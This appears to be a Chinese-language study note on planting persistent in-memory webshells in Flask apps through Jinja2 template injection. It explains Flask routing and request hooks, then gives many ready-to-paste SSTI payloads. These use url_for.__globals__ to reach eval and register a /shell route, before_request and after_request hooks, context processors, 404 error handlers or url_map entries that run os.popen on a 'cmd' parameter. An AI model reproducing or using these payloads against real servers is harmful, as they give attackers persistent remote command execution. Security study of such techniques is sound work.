Flask环境(旧版)

#1

app.add_url_rule()

//创实现一个路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Flask.add_url_rule can now also register a view function.——Version 0.2

The endpoint for the Module.add_url_rule method is now optional to be consistent with the function of the same name on the application object.
——Version 0.6

Flask no longer internally depends on rules being added through the add_url_rule function and can now also accept regular werkzeug rules added to the url map.——Version 0.7
Flask 内部不再依赖通过 add_url_rule 函数添加规则,现在也可以接受添加到 url 映射中的常规 werkzeug 规则。——0.7 版本

The View class attribute View.provide_automatic_options is set in View.as_view, to be detected by Flask.add_url_rule. #2316
Flask.add_url_rule accepts the provide_automatic_options argument to disable adding the OPTIONS method. #1489
——Version 1.0


add_url_rule(
rule: str, # URL 规则,如 '/user/<int:user_id>'——路由
endpoint: str | None = None,
view_func: Callable | None = None,
provide_automatic_options: bool | None = None,
**options: Any
) -> None

手动注册 URL 规则
参数 说明
rule URL 路径字符串,可含转换器 <int:id><path:subpath> 等。
endpoint 唯一标识符,默认是 view_func.__name__;用于 url_for()
view_func 真正的视图函数,接收请求并返回响应。
**options 额外选项,最常见的是 methods=['GET', 'POST'];还可传 defaults={'page': 1}strict_slashes=Falseredirect_to='/new' 等。

view_func:可以认为是python中的一个函数(也可以是lambda匿名函数),把函数返回的内容变为http响应(view)

请求进来 → 视图函数执行 → 返回值封装成 Response → 发给客户端。

#2

后面,我们通过视图函数行为来实现命令实现、内容返回

_request_ctx_stack——是请求上下文栈

通过_request_ctx_stack.top.request.args.get(''[参数],''[默认])

.top是当前页面(也可以认为是最新页面)

#3

同时注意到app_request_ctx_stack两个变量不是python中内置的,

是Flask应用中的对象,存在于url_for.__globals__中,所以要进行调用、声明

重新认识一下eval函数,https://docs.python.org中

eval(source, /, globals=None, locals=None)

  • source (str | code object) – 一个 Python 表达式。
  • globals (dict | None) – 全局命名空间 (默认值: None)。
  • locals (mapping | None) – 局部命名空间 (默认值: None)。#mapping——映射

如果 locals 映射被省略则它将默认为 globals 字典。 如果两个映射都被省略,则将使用调用 eval() 所在环境中的 globals 和 locals 来执行该表达式。 请注意,eval() 将只能访问所在环境中的嵌套作用域 (非局部作用域),如果它们已经在调用 eval() 的作用域中被引用的话 (例如通过 nonlocal 语句)。

所以我们要在globals中,自己加上app_request_ctx_stack(函数体、lambda引用的变量,默认在全局变量中找)

1
2
3
4
5
6
7
8
9
10
11
12
13
{{
。。。.['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda: __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()
)",
{
'_request_ctx_stack' : url_for.__globals__['_request_ctx_stack'],//可以尝试不用url_for——函数(对象),试试其他的有没有这个
'app' : url_for.__globals__['current_app']//当前应用实例
}
)
}}

[!IMPORTANT]

tip

也可以通过sys.modules['__main__'].app来获取app

1
2
3
4
5
{{lipsum.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].app")}}

url_for.__globals__['sys'].modules['__main__'].__dict__['app']

这里的_request_ctx_stack和下面的request,都是从url_for.__globals__上获得,暂时没有想到其他途径

参考自新版Flask框架下用钩子函数实现内存马的方式-先知社区

注意:

1
2
# Flask 2.x 默认情况下,url_for 需要通过请求上下文访问
# 而不是直接在模板中作为全局变量使用

总结:

调用eval等执行命令函数

==>执行app.add_url_rule()函数,在视图函数参数中启用执行代码,参数来自_request_ctx_stack栈==>获得命令回显

现在不能在运行中动态添加路由了(add_url_rule@app.route),否则抛出AssertionError断言失败(Flask2.2+)

新版

使用before_request()after_request()装饰器的机制,使得可以在请求前/后执行自己注入的代码

背景

python装饰器:

装饰器本质上是一个函数(记为函数 1),它把被装饰的函数(函数 2)当参数收进来;在内部再定义一个新函数(函数 3),新函数里先执行函数 2 并保存其返回值,顺便插入自己想附加的逻辑,最后把函数 2 的返回值抛出去。函数 1 把包装好的函数 3 作为结果返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
A function returning another function, usually applied as a function transformation using the @wrapper syntax. Common examples for decorators are classmethod() and staticmethod().

The decorator syntax is merely syntactic sugar, the following two function definitions are semantically equivalent:

def f(arg):
...
f = staticmethod(f)

@staticmethod
def f(arg):
...
The same concept exists for classes, but is less commonly used there. See the documentation for function definitions and class definitions for more about decorators.翻译一下


def decorator(func):
def wrapper(*args, **kw):
#新增的逻辑
result = func(*args, **kw)#保存
return result #把结果外抛
return wrapper #返回操作

#使用时
@decorator
def func()

before_request()

1
2
3
When used on an app, this
executes before every request. When used on a blueprint, this executes before
every request that the blueprint handles.
image-20250924160735067

after_request

1
2
3
When used on an app, this
executes after every request. When used on a blueprint, this executes after
every request that the blueprint handles.

我们利用的是这两个修饰器的底层机制,即*_func的内容来打内存马

点击self后的查看

发现是个字典,可知分别是存储请求前、请求后的内容/操作

操作代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
url_for.__globals__['__builtins__']['eval'](
"app.before_request_funcs.setdefault(None, []).append(
lambda :__import__('os').popen('whoami').read()
)",
#下面基本不变
{
'request': url__for.__globals__['request'],
'app': url_for.__globals__['current_app']
}
)

#解释
before_request_funcs-->为字典,存储after_request的钩子函数;
setdefault(None, [])是相当于添加一个None键(如果没有),并设值为[],returnNone
保证append可以实现,如果没有None,会报KeyError;


#url版:
`url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen('whoami').read())",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})`

#注入后,在开一个页面,无论执行什么,页面都会返回`whoami`的内容,那么服务后面的操作都无法进行了








#下面为after的
#用flask的make_response函数,make一个resp并返回
url_for.__globals__['__builtins__']['eval'](
"app.after_request_funcs.setdefault(None, []).append(
lambda _: __import__('flask').make_response(__import__('os').popen('whoami').read(),200)
)",
{
'request': url_for.__globals__['request'],
'app': url_for.__globals__['current_app']
}
)

url版:
url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda _: __import__('flask').make_response(__import__('os').popen('whoami').read(), 200))",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})
1
2
3
#after写入resp的头部版本,用resp.headers.__setitem__函数,同时通过元组+[-1],实现副作用操作,并返回resp(None(__setitem__返回的),resp)
url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: (resp.headers.__setitem__('X-Whoami', __import__('os').popen('whoami').read().strip()),resp)[-1])",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})

image-20250924215632620

before_request_funcafter_request_func用append加入的lambda函数格式有所不同的原因是:在调用这个字典中列表内容的方法不同

before_request_func是用preprocess_request(self) -> ft.ResponseReturnValue | None(无需参数,ft.ResponseReturnValue——视图函数可以合法返回的所有东西

image-20250924212243512

通过这个描述可知

1
2
it was the return value from the view, and
further request handling is stopped

如果是返回的内容,则后面的服务都会暂停。

after_request_func则是process_response(self, response: Response) -> Response需要response参数,同时要返回一个response。

image-20250924212543873

[!IMPORTANT]

1. before_request_funcs

  • 类型:dict
  • 键(key):
    • None → 表示全局钩子(适用于所有请求)
    • 'blueprint_name' → 仅对该 blueprint 的请求生效
  • 值(value):函数列表(list),按注册顺序排列

2. after_request_funcs

  • 结构同上,但函数签名必须接受 response 参数

  • before_request_funcs
    在 Flask 完成 URL 路由匹配后、调用视图函数之前执行。
    → 此时你可以决定是否继续执行视图

  • after_request_funcs
    在视图函数已执行完毕、生成了响应对象之后,但在将响应发回客户端之前执行。
    → 此时视图逻辑已完成,你只能修改响应。

before_requestafter_request 是 Flask 提供的 请求钩子(Request Hooks),用于在请求处理流程的特定阶段自动执行自定义代码

这两个是装饰器

before_request是用于开发者操作的,而攻击者则是通过其内部机制before_request_func操作的(打内存马),都是后面调用preprocess_request函数在请求前操作;after雷同。

总结:

个人认为:是通过append,打入一个lambda函数到before_request_func中,之后是会调用preprocess_request来执行,展现;after同理

进阶

小变形

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
url_for.__globals__['__builtins__']['eval'](
"app.after_request_funcs.setdefault(None, []).append(
lambda resp:
__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read(),200)
)",
{
'request': url_for.__globals__['request'],
'app': url_for.__globals__['sys'].modules['__main__'].__dict__['app']
}
)

url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp:__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read(),200))",{'request': url_for.__globals__['request'],'app': url_for.__globals__['sys'].modules['__main__'].__dict__['app']})
#我这个要cmd也要在才行,
#否则报TypeError: invalid cmd type (<class 'NoneType'>, expected string)错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#实现不需要同时有这段+cmd,可以在其他页面直接cmd即可(实现原因:增加一个判断if),
#if else:在lambda中改为三元表达式:
#A if condition else B实现


url_for.__globals__['__builtins__']['eval'](
"app.after_request_funcs.setdefault(None, []).append(
lambda resp:
__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read()) if request.args.get('cmd') else resp)",
{
'request': url_for.__globals__['request'],
'app': url_for.__globals__['sys'].modules['__main__'].__dict__['app']
}
)
#url版
{{ url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: __import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read()) if request.args.get('cmd') else resp)", {'request': url_for.__globals__['request'], 'app': url_for.__globals__['sys'].modules['__main__'].__dict__['app']}) }}

参考jinjia2无回显SSTI - colorfullbz - 博客园

其他修饰器

  • @app.context_processor的利用

该装饰器用于注册一个上下文处理器,可以将一个模板字典注册到模板上下文中

1
2
3
4
5
6
7
8
9
10
11
12
{{
url_for.__globals['__builtins__']['eval'](
"app.template_context_processors[None].append(
lambda: {'vk': __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() else None})",
{
'request': url_for.__globals__['request'],
'app': url_for.__globals__['current_app']
}
)
}}

{{url_for.__globals__['__builtins__']['eval']("app.template_context_processors[None].append(lambda : {'vk': __import__('os').popen(request.args.get('cmd')).read() if 'cmd'in request.args.keys() else None})",{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}
  • @app.errorhandler

错误处理的装饰器

1
2
3
4
5
6
7
8
{{url_for.__globals__['__builtins__']['exec']("app.register_error_handler(404,lambda x :__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read()))",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}


==>不行,要绕过check检查

{{url_for.__globals__['__builtins__']['exec']("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class]=lambda exc_class: __import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

后面传cmd就可以了
  • 通过url_mapview_func实现add_url_rule
1
2
3
4
5
6
7
8
9
{{url_for.__globals__['__builtins__']['eval']("app.url_map.add(app.url_rule_class('/flask-shell', methods=['GET'],endpoint='shell'))
",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}
——添加了url_map

{{url_for.__globals__['__builtins__']['eval']("app.view_functions.update({'shell': lambda:__import__('os').popen(request.args.get('cmd', 'whoami')).read()})
",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}
——添加了endpoint

最后传cmd即可